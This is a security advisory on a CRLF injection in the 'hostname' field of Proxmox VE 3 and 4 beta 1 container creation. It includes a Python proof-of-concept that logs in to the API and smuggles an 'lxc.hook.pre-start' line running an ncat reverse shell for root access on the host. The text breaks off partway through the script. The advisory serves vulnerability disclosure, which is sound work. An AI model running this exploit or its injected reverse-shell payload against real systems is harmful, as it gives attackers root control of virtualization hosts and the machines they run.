===================================================================== Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS, Privileges escalation) ===================================================================== Description =========== Proxmox is a popular virtualization solution based on KVM and Linux containers. A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the virtual machine creating form allowing authenticated remote users to overwrite configuration files settings. Configuration file overwriting ============================== Because the Proxmox VE application doesn't check the user-provided "hostname" POST parameter, it's possible to overwrite configuration files using a CRLF injection. In Proxmox VE 3, we successfully gained access to the host filesystem from a container and elevated our container capabilities, allowing us to obtain user credentials and sniff the network. In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we successfully gained root privileges on the host. It's also possible to exploit Proxmox clusters. **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-915 Proof of Concept ---------------- The following exploit works for Proxmox VE 4 beta 1. The lxc.hook.pre-start configuration variable is used to trigger the ncat reverse-shell payload when the container is started. #!/usr/bin/env python import requests import socket import telnetlib from threading import Thread import argparse from time import sleep def exploit(target, username, password, vmid, template, realm, reverse, hostname): payload = "ncat %s %s -e /bin/sh" % reverse print "[~] Obtaining authorization key..." apireq = requests.post("https://%s/api2/extjs/access/ticket" % target, verify=False, data={"username": username, "password": password, "realm": realm}) response = apireq.json() if "success" in response and response["success"]: print "[+] Authentication success." ticket = response["data"]["ticket"] csrfticket = response["data"]["CSRFPreventionToken"] createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket}, data={"vmid": vmid, "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload, "storage": "local", "password": "sysdream", "ostemplate": template, "memory": 512, "swap": 512, "disk": 2, "cpulimit": 1, "cpuunits": 1024, "net0":"name=eth0"}) if createvm.status_code == 200: response = createvm.json() if "success" in response and response["success"]: print "[+] Container Created...
